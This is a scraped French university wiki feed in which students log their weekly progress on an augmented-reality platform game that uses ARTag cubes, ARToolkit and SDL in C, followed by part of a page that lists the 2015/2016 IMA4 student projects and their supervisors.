&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez puissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable fournie dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &lt;br /&gt;
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
L'installation de la gravité dans le jeu pour le personnage est finie avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeu détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Voici donc notre nouvelle fonction détectant les collisions : &lt;br /&gt;
&amp;lt;br&amp;gt;int CollisionDecor(Map* carte,Sprite* test)&lt;br /&gt;
&amp;lt;br&amp;gt;{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;int xmin,xmax,ymin,ymax,i,j,indicetile;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmin = test-&amp;gt;x / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;ymin = test-&amp;gt;y / carte-&amp;gt;HAUTEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmax = (test-&amp;gt;x + test-&amp;gt;anim-&amp;gt;largeurchar -1) / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	ymax = (test-&amp;gt;y + test-&amp;gt;anim-&amp;gt;hauteurchar -1) / carte-&amp;gt;HAUTEUR_TILE;	&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (xmin&amp;lt;0 || ymin&amp;lt;0 || xmax&amp;gt;=carte-&amp;gt;nbtiles_largeur_monde || ymax&amp;gt;=carte-&amp;gt;nbtiles_hauteur_monde)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		return 1;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	for(i=xmin;i&amp;lt;=xmax;i++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		for(j=ymin;j&amp;lt;=ymax;j++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			indicetile = carte-&amp;gt;schema[i][j];&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].mur )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 1; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].danger )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 2; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;return 0;&lt;br /&gt;
&amp;lt;br&amp;gt;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Cette semaine, nous avons travaillé sur la réunion de nos programmes. Nous avons dans un premier temps tenté une exécution séparée des deux programmes afin de vérifier que la lecture du fichier de scrolling ainsi que l'actualisation de la carte se faisait correctement. Cela fonctionne mais pour le moment nous actualisons la carte en appuyant sur la touche espace et nous tenterons la semaine prochaine de faire en sorte que cela se fasse en temps réel tout en rajoutant des améliorations du côté du jeu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:exemple1rassemblement.png  |Résultat obtenu ]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
En parallèle du rassemblement, nous avons améliorer le contenu de notre jeu. Précédemment nosus avions rajouté des vies à notre personnage, il nous faut donc maintenant afficher ce nombre de vie pour informer le joueur du nombre de vie qui lui reste. Comme pour de nombreux jeux de plateforme nous avons décidé d'afficher ce nombre de vie sous forme de cœurs. Un cœur rouge représente une vie encore présente alors qu'un cœur vide représente une vie perdu. Pour programmer cela nous créons une nouvelle fonction avec une boucle sur le nombre de vie, on colle les cœurs de la gauche vers la droite, tant que nous sommes dans le nombre de vies restants , on colle des cœurs plein, sinon on colle des cœurs vides.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Cette semaine nous avons terminé la mise en place des threads. Pour ce faire nous avons créer une fonction qui parcourt la matrice en sommant les valeurs de presence[i][j] et en vérifiant par rapport à la fois précédente afin de voir s'il y a eu changement. Si aucun changement on continue, mais dans le cas contraire, le programme de la caméra bloque le mutex afin de pouvoir écrire dans le fichier texte puis libère le mutex pour laisser le champs libre au programme du jeu. ( PHOTO DU CODE )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Du côté du jeu, nous avons continuer sur le système de vie, en gérant les collisions avec les décors &amp;quot;dangereux&amp;quot;. Notre première amélioration a était de décrémenter le nombre de vie lors de la collision avec un bloc de décor de lave ( que nous spécifions de type &amp;quot;danger&amp;quot; au lieu de type ciel ou de type mur). La deuxième amélioration a était de forcer notre personnage à sauter lors d'une perte de vie , lui permettant de ne pas perdre toutes ses vie si il tombait dans la lave, mais aussi de pouvoir se remettre à l'abri sur une plateforme de type &amp;quot;mur&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 et 10===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Pendant ces deux semaines nous avons travaillé sur amélioration du jeu en incorporant un système de points dégressifs. En effet, ainsi cela améliore le potentiel du jeu en créant la possibilité de comparer son score ( qui en fait correspond au temps mis pour effectuer le parcours ) avec une autre personne. De plus nous sommes en train de démarrer la possibilité d'incorporer des ennemis dans le jeu. Cependant cela est toujours en stade de développement. Nous avons également rajouté un affichage d'un nouvel écran lors d'un game over qui affiche &amp;quot;Game Over&amp;quot; ainsi que le score du joueur.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA4_SC_%26_SA_2015/2016&amp;diff=30148</id>
		<title>Projets IMA4 SC &amp; SA 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA4_SC_%26_SA_2015/2016&amp;diff=30148"/>
				<updated>2016-04-27T12:53:23Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Fiche de présence */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en demandant une modification du format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Encadrants école !! Elèves&lt;br /&gt;
|-&lt;br /&gt;
| P0 [[Commande USB par micro-contrôleur]]&lt;br /&gt;
| Xavier Redon&lt;br /&gt;
| Arnaud DESHAYS&lt;br /&gt;
|-&lt;br /&gt;
| P4 [[Train de véhicules]]&lt;br /&gt;
| Xavier Redon &lt;br /&gt;
| Manuel BUENO / Maureen GILLET&lt;br /&gt;
|-&lt;br /&gt;
| P5 [[Imprimante 3D à chocolat]]&lt;br /&gt;
| Emmanuelle Pichonat / Alexandre Boé &lt;br /&gt;
| Hugo VANDENBUNDER / Sylvain VERDONCK&lt;br /&gt;
|-&lt;br /&gt;
| P6 [[Zone de sécurité pour vélo]]&lt;br /&gt;
| Alexandre Boé / Thomas Vantroys&lt;br /&gt;
| Martin CLAVERIE / Victor CHARNET&lt;br /&gt;
|-&lt;br /&gt;
| P7 [[Journée IMA]]&lt;br /&gt;
| Emmanuelle Pichonat / Alexandre Boé&lt;br /&gt;
| Michel MIKHAEL&lt;br /&gt;
|-&lt;br /&gt;
| P9 [[Tableau blanc interactif]]&lt;br /&gt;
| Emmanuelle Pichonat / Alexandre Boé / Thomas Vantroys&lt;br /&gt;
| Romuald LENTIEUL / Léo MAZIER&lt;br /&gt;
|-&lt;br /&gt;
| P10 [[Réseau de capteurs longue distance]]&lt;br /&gt;
| Alexandre Boé / Thomas Vantroys&lt;br /&gt;
| Sonia NDUWAYO / Cong CHEN&lt;br /&gt;
|-&lt;br /&gt;
| P12 [[Robots mobiles pour Arduino]]&lt;br /&gt;
| Emmanuelle Pichonat / Alexandre Boé&lt;br /&gt;
| Audrey AFFOYON / Leticia STEPHANES LIMA&lt;br /&gt;
|-&lt;br /&gt;
| P16 [[Miroir intelligent]]&lt;br /&gt;
| Alexandre Boé / Thomas Vantroys&lt;br /&gt;
| Valentin BEAUCHAMP / Guillaume VILLEMONT&lt;br /&gt;
|-&lt;br /&gt;
| P21 [[Robot autonome pour cartographie]]&lt;br /&gt;
| Alexandre Boé / Xavier Redon / Thomas Vantroys&lt;br /&gt;
| Pierre MICHEL / Alexandre DESCAMD&lt;br /&gt;
|-&lt;br /&gt;
| P23 [[Matelas connecté]]&lt;br /&gt;
| Nathalie Rolland / Alexandre Boé / Thomas Vantroys&lt;br /&gt;
| Vincent ROBIC / Morgan OBEISSART&lt;br /&gt;
|-&lt;br /&gt;
| P27 [[BIOLOID commandé par Arduino]]&lt;br /&gt;
| Blaise Conrard&lt;br /&gt;
| Quentin GRUSON / Jordan RAZAFINDRAIBE&lt;br /&gt;
|-&lt;br /&gt;
